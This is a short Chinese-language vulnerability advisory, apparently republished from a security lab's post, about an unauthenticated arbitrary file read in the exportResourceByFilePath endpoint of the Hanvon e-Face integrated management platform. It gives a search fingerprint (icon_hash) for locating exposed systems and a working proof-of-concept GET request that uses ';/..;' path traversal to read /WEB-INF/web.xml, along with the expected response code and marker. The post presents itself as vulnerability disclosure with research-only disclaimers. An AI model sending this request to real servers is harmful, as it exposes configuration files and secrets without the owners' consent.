文章总结： 汉王e脸通综合管理平台的exportResourceByFilePath接口存在任意文件读取漏洞，未经身份验证的攻击者可通过该漏洞获取服务器敏感信息，包括WEB-INF/web.xml等配置文件，导致系统安全风险。漏洞利用方式是通过GET请求访问特定路径，利用目录遍历技术读取系统文件。
综合评分： 75
文章分类： 漏洞分析,WEB安全,漏洞预警
汉王e脸通综合管理平台 exportResourceByFilePath 任意文件读取漏洞
原创
xuzhiyang
玄武盾网络技术实验室
2025年11月19日 08:52
江西
免责声明：本文仅供安全研究与学习之用，严禁使用本程序进行未经授权的违规渗透测试，遵守网络安全法，共同维护网络安全，违者后果自负。
漏洞说明：
汉工e脸通综合管理平台 exportResourceByfilePath 接囗处存在任意文件读取漏洞,未经身份验证的远程攻击者通过漏洞可以获取
到服务器敏感信息，导致系统处于极不安全的状态。
漏洞分类：
应用服务
漏洞类型：
任意读写
漏洞特征：
icon_hash="1380907357"
漏洞脚本：
POC:GET /manage/intercom/..;/..;/manage/leaveList/exportResourceByFilePath.do?filePath=/WEB-INF/web.xml HTTP/1.1
响应代码：
200
响应特征：
version
为爱发电，随手点个「推荐」吧！
声明：技术文章均收集于互联网，仅作为本人学习、记录使用。侵权删！！
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：玄武盾网络技术实验室 xuzhiyang《汉王e脸通综合管理平台 exportResourceByFilePath 任意文件读取漏洞》